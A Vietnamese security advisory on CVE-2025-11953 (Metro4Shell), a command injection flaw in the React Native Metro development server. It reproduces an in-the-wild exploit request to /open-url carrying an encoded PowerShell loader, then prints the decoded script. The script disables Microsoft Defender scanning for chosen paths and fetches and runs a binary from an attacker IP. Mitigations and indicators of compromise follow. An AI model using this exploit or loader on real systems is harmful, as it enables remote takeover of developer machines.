Lỗ hổng nghiêm trọng trong React Native đang bị tin tặc khai thác trên thực tế

Metro4Shell - cái tên từng làm mưa làm gió trong cộng đồng bảo mật trong khoảng thời gian cuối năm 2025, gần đây một lần nữa trở thành tâm điểm chú ý khi xuất hiện nhiều hơn những báo cáo cho thấy tin tặc đã và đang tích cực khai thác lỗ hổng nghiêm trọng này.
Thông tin chi tiết
Định danh lỗ hổng:
CVE-2025-11953Điểm CVSS(3.1): 9.8
Mức độ nghiêm trọng: CRITICAL - Cực kỳ nghiêm trọng
Mô tả: Máy chủ Metro Development Server, được triển khai với React Native Community CLI, mặc định tự động liên kết với các interface external. Kẻ tấn công chưa xác thực (unauthenticated attacker) có thể đứng từ vùng mạng ngoài và gửi một POST request tới máy chủ Metro để chạy các tệp thực thi tuỳ ý bằng kỹ thuật OS command injection.
Phiên bản bị ảnh hưởng: Tất cả các phiên bản từ
4.8.0tới20.0.0-alpha.2của gói@react-native-community/cli-server-api

Metro là bộ đóng gói JavaScript và máy chủ phát triển được các ứng dụng React Native sử dụng trong quá trình phát triển và thử nghiệm. Lỗ hổng CVE-2025-11953 (hay Metro4Shell) xuất phát từ cách thức máy chủ Metro xử lý các yêu cầu HTTP. Khi lập trình viên chạy lệnh npx react-native start, máy chủ Metro mặc định liên kết (bind) với tất cả các giao diện mạng (0.0.0.0) thay vì chỉ giới hạn ở localhost (127.0.0.1).
Mặt khác, trình xử lý POST request của Metro như /open-url luôn chấp nhận các POST request chứa tham số URL, sau đó chuyển tham số này vào một hàm hệ thống để mở URL đó mà không kiểm tra lại hoặc lọc (sanitize) kỹ lưỡng. Điều này tạo cơ hội cho kẻ tấn công có thể lợi dụng và chèn các ký tự đặc biệt hoặc lệnh shell vào tham số này.
Do không có cơ chế xác thực, bất kỳ ai cũng có thể kết nối tới cổng của Metro (thường là 8081) đều có thể gửi lệnh tấn công bằng kỹ thuật chèn lệnh OS command injection, từ đó chiếm được quyền thao tác với tệp tin và hệ thống tương đương với quyền của lập trình viên đang chạy lệnh npm start hoặc react-native start.
Đáng chú ý, đối với hệ điều hành Windows, lỗ hổng cho phép kẻ tấn công không cần xác thực từ bên ngoài có thể thực thi các lệnh hệ điều hành tùy ý từ xa thông qua một POST request rất đơn giản.
Theo báo cáo của VulnCheck, công ty bảo mật này cho biết đã phát hiện nhiều chiến dịch tấn công khai thác lỗ hổng này trên thực tế. Các cuộc tấn công được ghi nhận diễn ra một cách có hệ thống, thông qua một loader PowerShell được mã hoá Base64 và lợi dụng cmd.exe để tiến hành thực thi payload này.
POST /open-url HTTP/1.1
Host: VC_REDACTED
User-Agent: curl/7.85.0
Content-type: application/json
Content-Length: 4632
Connection: Close
{"url":"cmd /c powershell -EncodedCommand JABjAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAPQAgACQAKABHAGUAdAAtAEwAbwBjAGEAdABpAG8AbgApAC4AUABhAHQAaAA7AAoAJABzAHkAcwB0AGUAbQBUAGUAbQBwAEQAaQByAGUAYwB0AG8AcgB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAOwAKAAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAYwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgADIAPgAgACQAbgB1AGwAbAA7AAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAcwB5AHMAdABlAG0AVABlAG0AcABEAGkAcgBlAGMAdABvAHIAeQAgADIAPgAgACQAbgB1AGwAbAA7AAoACgAkAHQAYwBwAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0ADsACgAkAHQAYwBwAEMAbABpAGUAbgB0AC4AQwBvAG4AbgBlAGMAdAAoACIAOAAuADIAMQA4AC4ANAAzAC4AMgA0ADgAIgAsADYAMAAxADIANAApADsACgAkAHQAYwBwAFMAdAByAGUAYQBtACAAPQAgACQAdABjAHAAQwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAKACQAcgBlAHEAIAA9ACAAIgBHAEUAVAAgAC8AdwBpAG4AZABvAHcAcwAiADsACgAkAHIAZQBxAGIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcgBlAHEAKQA7AAoAJAB0AGMAcABTAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcgBlAHEAYgAsADAALAAkAHIAZQBxAGIALgBMAGUAbgBnAHQAaAApADsACgAKACQAZQB4AGUAYwBwACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABzAHkAcwB0AGUAbQBUAGUAbQBwAEQAaQByAGUAYwB0AG8AcgB5ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgAGoAegBEAGoAaQBxAEsAVQAuAGUAeABlADsACgAkAGYAaQBsAGUAUwB0AHIAZQBhAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoATwBwAGUAbgBXAHIAaQB0AGUAKAAkAGUAeABlAGMAcAApADsACgAKACQAYgB1AGYAZgBlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAANAAwADkANgA7AAoAJABiAHkAdABlAHMAUgBlAGEAZAAgAD0AIAAwADsACgB3AGgAaQBsAGUAIAAoACgAJABiAHkAdABlAHMAUgBlAGEAZAAgAD0AIAAkAHQAYwBwAFMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB1AGYAZgBlAHIALAAgADAALAAgACQAYgB1AGYAZgBlAHIALgBMAGUAbgBnAHQAaAApACkAIAAtAGcAdAAgADAAKQAgAHsACgAgACAAIAAgACQAZgBpAGwAZQBTAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAYgB1AGYAZgBlAHIALAAgADAALAAgACQAYgB5AHQAZQBzAFIAZQBhAGQAKQA7AAoAfQAKACQAZgBpAGwAZQBTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAKACQAdABjAHAAUwB0AHIAZQBhAG0ALgBDAGwAbwBzAGUAKAApADsACgAkAHQAYwBwAEMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA7AAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgAkAGUAeABlAGMAcAAiACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACcAMwBxAGgAQQBJAG0AYQBMAGoANwA0AHoASABkAHkAeQBHAEQAUQBGAHMATgBzAGYATABMAHUARgBoAFcATQBoAFgANwBDAHIAcwBiAGwAQgBJADMAbQBYAGoAcgBrAG4ARwA5AHkAOABBAHoAVQBXAHUAOQB3AGUATQA3AHEATgBpADIAWQBzAFgANwBtAG4AcQBMAEoASABKAEcAYQBXAGoANgBzAHMASAA5AHEAawBCAHoAYwBDAHAATgBnAGQATQA3AG0ATABuADIARQBrAFEATAB5AHAAdgA3AHgARwBPAG0AVwBSAGoANgBVAHMARwBOAHEAawBCAHoATQBIAHMATgBzAGYATABMAHUASgBoAFcAOAA2AFEANwBtAG4AcwBiAHgAQwBPAG0AVwBSAGgATABFAHIASAA5AHkANABBAGkAQQBFAHUATgA4AEIASgBiAE8AUwBsAEcARQBuAFgANwBtAG0AcAA3AEoASABKAEcAYQBYAGoASwBzAHMASAA5AHUAawBCAHoASQBZAHUAOQBzAGUATQA3AHEASwBuAEcAMABpAFEATAAyAG0AdgA3AEIARgBPAG0AUwBUAGsAcgBvAHYASAA4AE8AKwBCAFQAbwBBAHYAOQBrAGUAUABiAGkASwBpADIAWQBuAFIAcQBhAHUAcQA3AGwAZgBKAG0AYQBYAGgAcgAwAGwASAB0AHUAcQBBAEQAQQBZAHUAOQBvAGYATQA3AG0ASgBsAG4AawBqAFIAcgBLAHAAcgA3AGwARABKAEgAZQBSAGkANgBVAHYASABOAHEAawBCAHoAUQBHAHAATgB3AGQASgA3ADIATQBsAEcATQBoAFUAYgBtAHUAcgBLAFoAQQBKAEcASwBMAGoAYgBzAG8AQQBkAHkAOQBEAHoAbwBQAHUATgBRAFcAUABiAHEATgBsADMAawBsAFEANwB5AHgAcgBMAHQAZgBMAEcAQwBmAGkAcgBzAHMARwA5AHEAcQBEAGkANABFAHUAOQBVAEIATAA3AGkASQBpADIASQBrAFMANwA2AHYAcgByAHQAQgBOAEcAVwBVAGoAcQBVAGsASABjAE8ANwBCAGoARQBZAHMAdABvAFYASwA3AHUATgBsAFcAOAAwAFEANwBxAHQAcwBiAGwAQQBMAEgAbQBVAGoAYgBrAHoASAB0AHEAeQBEAEQAZwBCAHYATgB3AFAATAA3AG0AUABpADIARQA2AFEANwB5AG0AcwBiAGwARgBKAFcAMgBUAGkAYgBvAG8ARAA5ACsANABCAEMANABPAHMAcwBNAGUASwA3AGkAUwBsAEcANABzAFMANwA2AHYAcgByAHAAQgBOAEcAKwBMAGoAYgA4AHQAQQBkACsANgBCAEMANABBAHYAdABjAFoATABMAG0AUABoAFcATQBqAFgANwBxAHIAcgBhAFoAQQBKAEcAKwBMAGkANwBvAG4ARwBkADIANwBCAGoAYwBXAHYAdABvAEIATAA3ACsAUABpADIAWQBqAFIAcQBhAHUAcgBMAGwATABJAG0AZQBVAGoATAA0ADkASAB0AG0AawBCAHoAQQBGAHAATgB3AFoASwBLAFcATgBsAG0AQQB1AFIAcgBpAHEAcgBhAGgASgBPAG0AVwBVAGkANgBVAHMARgB0AFcAawBCAEQARQBDAHMATgBzAGYATABMAHEATgBoAFcAOAA2AFEANwBtAG4AcwBiAHAARABJAFgAbQBSAGoAcgBFAHIASAA5AHkANgBCAHkAQQBDAHYAYwBNAGQASwBiAG0AUwBrAEcAOAA2AFMAYgB5AGwAcQBiAGgAQQBKAEcANgBGAGkATAB3AHoASABkAG0ANQBHAEQARQBFAHYAYwBNAGUASwBiAHUARwBrADIAYwBsAFIAYgB1AC8AcgByAGgARwBPAG0AYQBTAGkASwBVAG8ASABjAE8ANABBAFQAbwBBAHUAdAB3AGIASwA2AHUATgBsAEcAWQA2AFEATABtAHgAcgByAEIAZgBKAFcAKwBTAGgAcgAwAHQASAB0ADYANQBGAGoAUQBCAHAATgA4AGMASgBhAFcATwBsADIATQA2AFEAcgBtAGwAcQBiAGgAQQBKADIANgBpAEsAMABnAEQAQgBNAHAASABlAG8AdwBKAE8AMABxAGMALwBxAHIAQQAxAGkAYQBSADgAZgB0AHYAVQB4AGMANQBvAHoAMgBHAG4AUQA9AD0AJwA="}
Khi được giải mã, payload PowerShell này thực hiện các hành động sau:
Ẩn mình trước Microsoft Defender: Thiết lập các đường dẫn loại trừ (exclusion paths) cho thư mục làm việc hiện tại và thư mục tạm thời của hệ thống (
temp). Điều này giúp mã độc tránh bị trình diệt virus quét và phát hiện.Thiết lập kết nối TCP thô: Tạo một kết nối TCP trực tiếp đến địa chỉ host và cổng (port) do kẻ tấn công kiểm soát.
Gửi yêu cầu HTTP: Gửi một yêu cầu
GET /windowstới máy chủ của kẻ tấn công.Ghi dữ liệu xuống ổ đĩa: Ghi dữ liệu nhận được (thường là một tệp thực thi độc hại) vào một tệp tin nằm trong thư mục tạm thời của hệ thống.
Thực thi mã độc: Chạy tệp tin nhị phân vừa tải xuống kèm theo một chuỗi đối số (argument) rất dài để kích hoạt các hành vi độc hại tiếp theo.
$currentDirectory = $(Get-Location).Path;
$systemTempDirectory = [System.IO.Path]::GetTempPath();
Add-MpPreference -ExclusionPath $currentDirectory 2> $null;
Add-MpPreference -ExclusionPath $systemTempDirectory 2> $null;
$tcpClient = New-Object System.Net.Sockets.TcpClient;
$tcpClient.Connect("8.218.43.248",60124);
$tcpStream = $tcpClient.GetStream();
$req = "GET /windows";
$reqb = [System.Text.Encoding]::UTF8.GetBytes($req);
$tcpStream.Write($reqb,0,$reqb.Length);
$execp = Join-Path -Path $systemTempDirectory -ChildPath jzDjiqKU.exe;
$fileStream = [System.IO.File]::OpenWrite($execp);
$buffer = New-Object byte[] 4096;
$bytesRead = 0;
while (($bytesRead = $tcpStream.Read($buffer, 0, $buffer.Length)) -gt 0) {
$fileStream.Write($buffer, 0, $bytesRead);
}
$fileStream.Close();
$tcpStream.Close();
$tcpClient.Close();
Start-Process -FilePath "$execp" -ArgumentList '3qhAImaLj74zHdyyGDQFsNsfLLuFhWMhX7CrsblBI3mXjrknG9y8AzUWu9weM7qNi2YsX7mnqLJHJGaWj6ssH9qkBzcCpNgdM7mLn2EkQLypv7xGOmWRj6UsGNqkBzMHsNsfLLuJhW86Q7mnsbxCOmWRhLErH9y4AiAEuN8BJbOSlGEnX7mmp7JHJGaXjKssH9ukBzIYu9seM7qKnG0iQL2mv7BFOmSTkrovH8O+BToAv9kePbiKi2YnRqauq7lfJmaXhr0lHtuqADAYu9ofM7mJlnkjRrKpr7lDJHeRi6UvHNqkBzQGpNwdJ72MlGMhUbmurKZAJGKLjbsoAdy9DzoPuNQWPbqNl3klQ7yxrLtfLGCfirssG9qqDi4Eu9UBL7iIi2IkS76vrrtBNGWUjqUkHcO7BjEYstoVK7uNlW80Q7qtsblALHmUjbkzHtqyDDgBvNwPL7mPi2E6Q7ymsblFJW2TibooD9+4BC4OssMeK7iSlG4sS76vrrpBNG+Ljb8tAd+6BC4AvtcZLLmPhWMjX7qrraZAJG+Li7onGd27BjcWvtoBL7+Pi2YjRqaurLlLImeUjL49HtmkBzAFpNwZKKWNlmAuRriqrahJOmWUi6UsFtWkBDECsNsfLLqNhW86Q7mnsbpDIXmRjrErH9y6ByACvcMdKbmSkG86SbylqbhAJG6FiLwzHdm5GDEEvcMeKbuGk2clRbu/rrhGOmaSiKUoHcO4AToAutwbK6uNlGY6QLmxrrBfJW+Shr0tHt65FjQBpN8cJaWOl2M6QrmlqbhAJ26iK0gDBMpHeowJO0qc/qrA1iaR8ftvUxc5oz2GnQ=='
Việc ẩn mình khỏi lớp bảo vệ của hệ thống như Microsoft Defender trước khi tải mã độc cho thấy kẻ tấn công đã lường trước sự hiện diện của các biện pháp bảo mật trên hệ thống như EDR/Antivirus từ trước, do đó chúng đã tích hợp các biện pháp lẩn tránh vào ngay luồng thực thi ban đầu.
Tệp nhị phân được tải xuống đã được nén bằng UPX (mã băm SHA-256: d8337df3...), nhưng sau khi giải nén (SHA-256: 7ecbb0cc...), mã độc lộ diện là một tệp nhị phân viết bằng ngôn ngữ Rust. Nó tích hợp các logic chống phân tích cơ bản, bao gồm các trình kiểm tra trong thời gian chạy (runtime checks) nhằm cản trở quá trình phân tích tĩnh (static inspection).
VulnCheck ghi nhận các cuộc tấn công bắt nguồn từ các địa chỉ IP: 65.109.182.231, 223.6.249.141, và 134.209.69.155. Mã độc "windows" được lưu trữ tại 8.218.43.248:60124 và 47.86.33.195:60130. Cùng hạ tầng này cũng lưu trữ một tệp nhị phân tương ứng có tên là "linux".

Khắc phục & Khuyến nghị
Cập nhật phần mềm ngay lập tức: Người dùng và quản trị viên đang sử dụng các công cụ liên quan đến React Native cần cập nhật phiên bản mới nhất của bộ công cụ phát triển (phiên bản 20.0.0 trở lên). Đây là cách hiệu quả nhất để vá lỗ hổng tận gốc.
Chỉ làm việc trong mạng nội bộ: Tuyệt đối không chạy các lệnh khởi động máy chủ lập trình (như
npm starthaynpx react-native start) khi đang kết nối với mạng Wi-Fi công cộng (quán cafe, sân bay) hoặc mạng không tin tưởng. Kẻ tấn công trong cùng mạng có thể lợi dụng điều này để tiếp cận và khai thác.Kiểm tra các phần mềm bảo vệ máy tính: Đảm bảo phần mềm diệt virus (như Microsoft Defender trên Windows) luôn được bật. Nếu nhận thấy máy tính bỗng dưng chạy chậm hoặc có các cửa sổ màu đen (lệnh shell) tự động hiện lên rồi tắt, người dùng cần lập tức ngắt kết nối internet và liên hệ với bộ phận bảo mật kiểm tra ngay.
IOCs
| Thông tin | Phân loại | Mô tả |
| 65.109.182.231 | Địa chỉ IP | Địa chỉ IP khai thác |
| 223.6.249.141 | Địa chỉ IP | Địa chỉ IP khai thác |
| 134.209.69.155 | Địa chỉ IP | Địa chỉ IP khai thác |
| 8.218.43.248 | Địa chỉ IP | Máy chủ lưu trữ payload |
| 47.86.33.195 | Địa chỉ IP | Máy chủ lưu trữ payload |
| d8337df3aff749250557bf11daf069eb404cce0e6f4f91c6bd6d3f78aed6e9d6 | Mã băm SHA-256 | Mã độc khai thác hđh Windows nén bằng UPX |
| 7ecbb0cc88dfa5f187c209a28bd25e8e2d5113bb898a91ae273bca5983130886 | Mã băm SHA-256 | Mã độc khai thác hđh Windows đã giải nén |
| d1886b189474b02467ed2845df0938cec9785e99c3d4b04e0b7de3cafbee4182 | Mã băm SHA-256 | Mã độc khai thác hđh Linux nén bằng UPX |
| 6686d4baa9d483da27ba84dab85e96e42b790b608571de7bcb07a1fd7c975fe3 | Mã băm SHA-256 | Mã độc khai thác hđh Linux đã giải nén |






